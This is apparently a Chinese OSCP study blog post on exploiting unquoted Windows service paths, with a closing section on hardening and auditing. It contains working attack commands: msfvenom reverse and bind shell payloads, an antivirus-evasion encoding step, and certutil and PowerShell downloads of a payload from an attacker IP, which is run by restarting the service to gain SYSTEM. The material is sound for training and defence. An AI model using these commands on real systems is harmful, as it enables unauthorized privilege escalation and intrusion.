OSCP提权实战:未加引号服务路径漏洞利用与加固全解 OSCP 研记已经写到了第 11 篇这期继续把 Windows 提权里的未加引号服务路径漏洞说完。上篇铺垫了成因、原理和基本判断方法这篇直接把我在靶机和授权测试环境里摸出来的全过程整理出来怎么筛服务、怎么判断哪个目录真正可写、恶意文件到底放哪、触发失败时又该怎么倒推排错。如果你是正在备考 OSCP或者单纯想弄懂这个经典但容易被想简单了的提权手法这篇应该能让你少走几条弯路。先说一个反直觉的结论发现一条未加引号的服务路径往往只是万里长征第一步。路径里有空格、没引号不代表就一定有可写目录供你利用你以为可写的服务目录在系统的路径解析序列里其实排不到前面。这篇文章专门把这些“以为”掰正顺便把整套操作流程从头到尾过一遍。1. 上篇没讲透的解析机制系统是怎么一步步“猜”到错误路径的未加引号服务路径漏洞本质上是 Windows 在启动服务时对ImagePath这个注册表值做“宽容解析”引发的。上篇说了个大概这里我把细节彻底摊开。当服务的ImagePath没有用双引号包裹且路径中存在空格时系统调用CreateProcess会按照空格把完整路径拆成多个候选路径然后逐个尝试执行。比如这一条C:\Program Files\Vuln App\server.exe系统不是直接把整个字符串交给文件系统而是会依次尝试C:\Program.exe C:\Program Files\Vuln.exe C:\Program Files\Vuln App\server.exe第一次找不到就试第二次第二次找不到就试第三次直到某个候选路径对应的文件真实存在。一旦命中就直接执行那个文件。这个“按空格猜路径”的兼容机制本身是为老式程序准备的正常路径写规范了根本不会触发但一旦路径不规范就给攻击者留了一个劫持执行流的窗口。用快递做类比就很好懂收件地址写得不规范快递员每到有空格的地方就停下猜一次门牌哪个门牌真的存在、门还开着就把包裹扔进去。如果所有可能地址都锁着那这次投递就失败可如果中途有一个门牌是你事前放好的“假收件点”那包裹自然就被你签收了。接下来是漏洞成立的硬性条件这里必须逐条说清服务二进制路径是绝对路径且包含至少一个空格。服务配置里的ImagePath没有用引号包裹。路径解析序列中某个候选文件所在的目录对当前用户可写。服务以高权限账户运行通常是LocalSystem或Administrator。很多人会忽略第 3 条或者把它理解错。注意不是“服务所在的最终目录可写”就行而是“系统会去尝试的某个候选文件名所在的父目录可写”才行。举个例子。上面那条路径的最终目录是C:\Program Files\Vuln App\就算这个目录对 Users 完全可写系统在解析时也会先去尝试C:\Program.exe和C:\Program Files\Vuln.exe。如果这两个候选不存在系统会继续执行真实的server.exe根本不会去C:\Program Files\Vuln App\里翻找别的文件。所以最终目录可写并不能像很多文章写的那样直接“把这个目录里的服务文件替换掉”。这是上篇埋下、这篇必须要讲透的一个关键只有可写点位于“真实路径之前被尝试的候选位置”时漏洞才真正能被利用。另外补充一个容易忽视的小点系统是逐级“空格截断”生成候选的路径中有多少个空格就会有多少个候选。如果路径中有连续空格候选数量还会更多。这个细节在做文件名规划时偶尔会用到后面第 3 节会再碰。2. 信息收集阶段两三条指令从一堆服务里筛出“目标”进入实战的第一步是在目标机器上把可疑服务捞出来。Windows 下我最常用的还是老牌的wmic虽然新版系统里它被标记为弃用但 OSCP 靶机和不少存量服务器上依然能跑命令也简单。一条典型命令是这样wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v C:\Windows | findstr /i /v 这段命令做了三件事只保留自动启动的服务排除系统目录下的常规服务再排除路径已经带引号的服务。输出里剩下的往往就是值得手工细看的对象。findstr /i /v 这个写法有点绕它的意思是过滤掉包含双引号的行。如果某条路径已经是C:\Program Files\...这种带引号的形式那就不存在这个漏洞可以直接排除。PowerShell 的写法会更干净也方便在较新系统上用Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch ^ -and $_.PathName -match \s } | Select-Object Name, State, StartMode, PathName | Format-List逻辑就两条路径不以引号开头且路径包含空格。理论上所有满足这两个条件的服务都值得看实际筛的时候我会再排除掉C:\Windows\开头的服务因为那些目录默认权限太紧普通用户写不进去排除后能省不少事。筛选只是第一步真正的重头戏是目录权限检查。我用icacls沿着服务路径逐级往上查。比如候选服务路径是C:\Apps\Update Center\svcupdate.exe那就从盘符根开始一级一级看icacls C:\ icacls C:\Apps icacls C:\Apps\Update Center每级输出里如果看到类似这样的行C:\Apps\ BUILTIN\Users:(OI)(CI)(W) C:\Apps\ BUILTIN\Users:(F) C:\Apps\ NT AUTHORITY\Authenticated Users:(W)这基本就说明普通用户对这个目录有写权限是潜在可利用点。也可以上传 Sysinternals 的accesschk.exe用更人性化的方式直接查 Users 的写权限accesschk.exe /accepteula -uwdqs Users C:\Apps-u表示不要检查已禁用账户-w只显示有写权限的对象-d只看目录-q精简输出-s递归。这套参数非常适合快速圈定哪些目录对当前用户可写。这里有一个我踩过很多次的教训查 ACL 一定不要只查服务二进制所在的最后一级目录。真正让漏洞成立的往往是中间层级的目录比如C:\Apps可写而不是C:\Apps\Update Center可写。因为系统解析候选时会在C:\Apps\Update.exe这个位置停下来而这个文件正好放在C:\Apps下面。只查最后一层很容易错过真正的突破口。如果目标机器上的服务特别多手工逐级查太慢可以用一小段 PowerShell 脚本批量扫描$services Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch ^ -and $_.PathName -match \s } foreach ($s in $services) { $cleanPath $s.PathName.Trim() $parts $cleanPath.Split(\) for ($i 2; $i -lt $parts.Count; $i) { $dir $parts[0..$i] -join \ if (Test-Path $dir) { $acl Get-Acl $dir $entry $acl.Access | Where-Object { $_.IdentityReference -match Users|Authenticated Users -and $_.FileSystemRights -match Write|FullControl } | Select-Object -First 1 if ($entry) { Write-Host $dir $($entry.IdentityReference) $($entry.FileSystemRights) } } } }脚本输出的每一行都代表一个对普通用户可写的目录直接对照服务的候选解析序列就能判断能不能用。注意脚本只作为辅助真实环境里还要结合身份验证、继承关系再复核一遍。3. 载荷生成与部署流程三个关键步骤一步都不能错一旦确认目标服务的解析序列里有可写点接下来就是生成恶意二进制、上传到指定目录、触发执行。这三步看着简单每一步都有细节。3.1 生成与目标架构匹配的 payload先用echo %PROCESSOR_ARCHITECTURE%或systeminfo确认目标系统架构。64 位系统上我一般直接用 x64 payload少一层 WoW64 兼容问题。生成反弹 shell 的经典命令msfvenom -p windows/x64/shell_reverse_tcp LHOST10.10.14.20 LPORT4444 -f exe -o Update.exe如果是 32 位目标就把windows/x64/shell_reverse_tcp换成windows/shell_reverse_tcp。payload 类型上shell_reverse_tcp这种无阶段stageless类型最省心一次连接直接给你 shell不依赖后续 stage 是否被拦截。meterpreter/reverse_tcp这种阶段型体积更小但后续要拉取 stage在某些网络环境下稳定性反而差一些。OSCP 里我优先用无阶段的。3.2 把文件弄到目标机器上取决于当前 shell 的网络能力常用的上传方式有三种。用certutil从 HTTP 服务拉取certutil -urlcache -f http://10.10.14.20/Update.exe C:\Apps\Update.exe用 PowerShell 下载Invoke-WebRequest -Uri http://10.10.14.20/Update.exe -OutFile C:\Apps\Update.exe如果是 Windows 自带的 SMB 共享copy \\10.10.14.20\share\Update.exe C:\Apps\Update.exe上传完一定要确认文件完整落地看大小、看时间戳必要时算一下哈希dir C:\Apps\Update.exe certutil -hashfile C:\Apps\Update.exe SHA256传出中断这种事我遇到过不止一次文件传了一半触发时系统直接报找不到有效映像排查半天才发现是本地 HTTP 服务带宽或者防火墙把连接掐了。3.3 命名策略恶意文件到底该叫什么这是全篇最容易翻车的地方。恶意文件的完整路径必须精确等于系统解析序列里某个候选路径。假设服务路径是C:\Apps\Update Center\svcupdate.exe系统会依次尝试C:\Apps.exe C:\Apps\Update.exe C:\Apps\Update Center\svcupdate.exe现在假设icacls显示C:\Apps对 Users 可写而C:\Apps\Update Center也可写。那么我们要做的就是把恶意文件放在C:\Apps下命名为Update.exe。这样当服务启动系统走到第二个候选C:\Apps\Update.exe时发现文件存在就直接执行了它真实路径svcupdate.exe根本轮不到。反过来如果只有C:\Apps\Update Center可写C:\Apps不可写那么这个漏洞就基本不可利用。因为系统尝试C:\Apps\Update.exe时文件根本放不进去最终还是会执行到真实的svcupdate.exe。这个坑很多初学者会踩。再看另一个例子。如果服务路径是C:\Program Files\My App\Sub Dir\app.exe而C:\Program Files\My App\目录对 Users 可写但C:\Program Files本身不可写。那系统尝试候选时走到C:\Program Files\My.exe这个位置文件放在C:\Program Files\下——写不进去。所以这时候就算My App目录可写也没法利用。除非C:\Program Files\My App\Sub.exe这个位置对应的是一个“更深的空格截断点”而该目录恰好可写那才能把恶意文件命名为Sub.exe放在C:\Program Files\My App\下。一句话总结一定要画出解析候选序列然后找哪个候选文件的父目录可写。别的都没用。3.4 触发执行把服务“唤醒”文件放好后让服务执行恶意文件才是关键一步。最直接的办法是重启服务sc stop VulnApp sc start VulnApp或者net stop VulnApp net start VulnApp这里的现实问题是普通用户通常没有停止、启动 SYSTEM 服务的权限。OSCP 靶机里这种情况一般会给你留一个具备操作权限的服务但真实环境里经常是sc stop直接返回“拒绝访问”。这时候不要硬磕可以考虑两个方向一是查当前用户有没有SeShutdownPrivilege这类关机权限如果有可以等目标重启后让服务自动拉起恶意文件。但这个操作会中断目标动静大属于兜底方案考试里慎用。二是看看目标服务本身是否正处于“停止”状态。如果服务没在运行而你恰好又是该服务的启动账户或者系统里配置了让普通用户启动该服务的权限那sc start是可以成功的。先跑sc qc VulnApp看服务状态和启动账户再决定下一步。还有一类情况是服务配置了“失败后自动重启”。如果你能想办法让服务进程崩溃比如目标服务监听某个端口你把它打崩系统会自动拉起来这也能成为触发窗口。但这种方法噪音更大非必要不用。4. 踩坑实录反弹 Shell 没弹回来的完整排查链路这一节把我在靶机和授权测试里反复踩过的坑集中列出来。如果你照着前面的流程做了一遍shell 却没弹回来不要慌按照下面这个链路倒推大多数问题都能定位。4.1 坑一把“服务目录可写”当成“可利用”这是最典型的误解。靶机里我看到C:\Program Files\Vuln App\对 Users 可写高兴得不行直接丢一个Vuln.exe进去然后重启服务等半天没有反弹。后来把系统解析序列画出来才明白系统尝试完C:\Program.exe和C:\Program Files\Vuln.exe之后会直接执行真实的C:\Program Files\Vuln App\server.exe根本不会去Vuln App目录里找额外文件。而C:\和C:\Program Files\默认普通用户都写不了。所以看到最终目录可写时第一反应应该是回到解析序列问自己恶意文件放进去的候选目录是不是系统会真实尝试的目录4.2 坑二ACL 显示有 Users但实际写不进去有时候icacls输出里确实有Users: (W)但上传文件还是报拒绝访问。原因往往是当前 shell 的身份并不是Users组成员的有效命中对象。比如当前进程以Network Service或LOCAL SERVICE身份运行它属于哪个组、能否写入要看具体 ACL 的生效范围不能只看“Users”字样。处理方式很简单先用whoami /all把当前账户的完整信息拉出来再用icacls确认这个账户或它所在的组到底有没有写权限。另外还要注意有些目录挂了对某个账户的“拒绝”ACE即使父级有“允许”子级也会拒绝。4.3 坑三文件上传后直接消失上传完过几秒文件被删了最常见原因是 Windows Defender 实时防护。OSCP 靶机里这种情况不算少特别是那些默认开启 Defender 的系统。处理思路有几个。一是换用更小的 stager静态特征更少二是用 msfvenom 做简单的编码msfvenom -p windows/x64/shell_reverse_tcp LHOST10.10.14.20 LPORT4444 -e x86/shikata_ga_nai -i 5 -f exe -o Update.exe但要明白编码只能绕过部分静态扫描不能对抗行为监控。在授权环境里可以试真实目标上不建议靠“猜”来绕过杀软那属于另一个更复杂的对抗话题。还有一个笨但有效的办法上传前先在本地把生成的 exe 丢到目标同款防护软件里扫一遍确认不被杀再上传。4.4 坑四连接完全没回来监听端无任何反应如果文件确实执行了但你的监听端连一点连接记录都没有优先排查网络层面。步骤是这样的本机确认监听是否正常nc -lvnp 4444换用-v可以看详细日志。确认目标出站方向没被封死。很多靶机只允许常见端口出站反弹 shell 用4444这种高端口容易被防火墙规则干掉。把监听端口换成80或443再试一次。检查攻击机自己的入站防火墙别让杀毒软件或系统防火墙把监听端口拦了。如果出站确实受限干脆换 bind shell让目标监听、攻击机去连msfvenom -p windows/x64/shell_bind_tcp LPORT4444 -f exe -o Update.exe然后本机连过去nc 10.10.14.25 4444bind shell 的缺点是容易被目标防火墙入站规则拦但在只拦出站的环境里反而好用。4.5 坑五服务压根没按预期重启还有一种情况是服务压根没重启。明明执行了sc start结果返回“服务正在运行中”或者“服务无法启动”。先别急着反复试先把状态查清楚sc query VulnApp sc qc VulnApp如果服务本来就在运行而当前用户又没法 stop那触发点确实很难实现。这时候我会退回来看其他入口比如计划任务、自启动目录、或者另一个服务而不是死磕这一个点。未加引号服务路径漏洞不是银弹它常常只是提权拼图里的一块需要和其他弱点配合。下面这张表是排查时的速查清单贴在这里方便你直接照着做现象可能原因验证命令/手段处理方向连接没弹出站防火墙拦截监听端换 80/443 再试换常见端口或 bind shell文件消失Defender 隔离查隔离记录、事件日志换编码、换小体积 stager上传报拒绝ACL 与身份不匹配whoami /allicacls找其他可写点服务重启失败当前用户权限不足sc qc看启动账户找其他触发点或结合其他漏洞文件存在但没执行文件名与候选路径不符对照解析序列核对候选文件名和目录5. 一次完整提权案例从低权限 shell 到 SYSTEM 权限的逐步复盘理论讲完用一个完整案例把流程串起来。目标是一台 Windows Server 2019 的测试机我通过 Web 服务的文件上传漏洞拿到一个低权限 shell当前用户是tomcat在 Users 组里。第一步信息收集。whoami /priv看了权限顺便看了系统架构是 x64。接着用 wmic 拉服务列表wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v C:\Windows输出里有一条SvcUpdate Auto C:\Apps\Update Center\svcupdate.exe路径没有引号包含空格不在 C:\Windows 下。思路立刻聚焦。第二步逐级查 ACL。先查根目录和C:\Appsicacls C:\ icacls C:\Apps结果C:\Apps这一行出现了C:\Apps\ BUILTIN\Users:(OI)(CI)(W)也就是说普通用户可以在C:\Apps下创建文件。再查C:\Apps\Update Center虽然也可写但根据前面讲的原理真正关键的是C:\Apps可写因为解析候选里C:\Apps\Update.exe的父目录正好是它。第三步生成恶意文件。为匹配目标 64 位系统msfvenom -p windows/x64/shell_reverse_tcp LHOST10.10.14.20 LPORT80 -f exe -o Update.exe监听端口选 80避免出站高端口被拦。本地起 HTTPpython3 -m http.server 80目标机器上通过 certutil 下载certutil -urlcache -f http://10.10.14.20/Update.exe C:\Apps\Update.exe然后确认文件落盘。第四步触发。尝试重启服务sc stop SvcUpdate sc start SvcUpdate测试环境里当前用户恰好拥有这个服务相关权限执行成功。这里如果 stop 失败我可以退而求其次检查系统里有没有计划任务能在某个时间点拉起服务或者考虑这台机器上普通用户是否被授予了关机的SeShutdownPrivilege但这些都不如直接重启服务干净。第五步收 shell。攻击机监听端直接弹回nc -lvnp 80连上之后whoami显示nt authority\system权限提升链路完成。这个案例看起来顺畅但实际测试里我失败了很多次。第一次失败就是因为只看了服务最终目录的 ACL忽略中间层级第二次是恶意文件名没对准候选路径第三次是监听端口被把守的网络策略拦了。所以复盘这篇文章里写的每一步都是我踩过坑之后沉淀下来的顺序。6. 修复与加固给未加引号服务路径漏洞“上锁”的具体操作写到最后一部分从防御视角把修复方案讲清楚。运维人员也好备考 OSCP 顺手做加固练习也好这套操作都值得保存。6.1 最小修复先给服务路径加引号加引号是最直接的修复方式让系统不再按空格拆候选。命令如下sc config SvcUpdate binPath \C:\Apps\Update Center\svcupdate.exe\注意sc config的语法里binPath后面的等号和值之间必须有一个空格这是最容易写错的地方。改完用sc qc SvcUpdate确认。也可以用 wmic 改wmic service where nameSvcUpdate set pathname\C:\Apps\Update Center\svcupdate.exe\改完建议重启一次服务确认路径加引号后服务仍然能正常启动。6.2 根治修复收紧目录 ACL加引号解决了“解析错觉”但没有解决“中间目录被用户写入”这个根因。很多软件的安装路径历史遗留太深无法轻易更换那就要把路径上每一个层级目录的写权限都收回来。把普通用户的写权限删掉icacls C:\Apps /remove BUILTIN\Users icacls C:\Apps\Update Center /remove BUILTIN\Users如果是Authenticated Users或Everyone有写权限也要一并处理。核心原则是服务二进制路径上的每一级目录只允许 Administrators 和 SYSTEM 写入普通用户一律只读。6.3 长期巡检用脚本定期自查修复是临时的长期不检查新增服务时很可能又出现同样的问题。用 PowerShell 写一个小巡检脚本放到计划任务里每周跑一次把结果输出到文件Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch ^ -and $_.PathName -match \s } | Select-Object Name, State, StartMode, PathName | Out-File C:\reports\unquoted_services.txt运维同学拿到报告后照着清单把可疑服务加引号、收紧 ACL 就行。这个脚本对存量环境的摸底也很有用很多服务器上跑着一堆年久失修的服务一扫描就是一个接一个的雷。6.4 纵深防御别让一个漏洞决定生死除了服务路径本身建议做几层纵深防御。高权限服务尽量用独立的低权限服务账户运行不要图省事全用 LocalSystem这样即使服务被劫持攻击者拿到的也不是最高权限。应用白名单方面AppLocker 或 WDAC 可以限制指定目录之外不能执行 exe从而让攻击者放进来的恶意文件即使被触发也无法运行。安全审计层面开启进程创建审计Windows 事件 ID 4688和 Sysmon 的进程创建事件Event ID 1能够及时发现异常路径下的启动行为。再把关键目录的“写入”操作加入 SACL 审计每次可疑文件落地都会留下痕迹。6.5 运维操作注意事项改服务配置之前建议先备份注册表项reg export HKLM\SYSTEM\CurrentControlSet\Services\SvcUpdate C:\backup\svcupdate.reg改动服务路径后必须在变更窗口内重启服务验证。有些服务加引号后因为路径里的反斜杠和引号嵌套写错导致启动失败这种低级错误往往比漏洞本身更让运维头疼。改完一定要sc start看一眼状态确认无误才算闭环。我个人在实际操作里的体会是未加引号服务路径漏洞的利用门槛不高但踩坑概率也不低关键就在“解析序列”和“目录 ACL”这两件事上。把这两点想清楚再靠一套固定的枚举、核查、上传、触发流程反复练这个提权手法基本就能稳稳拿捏住了。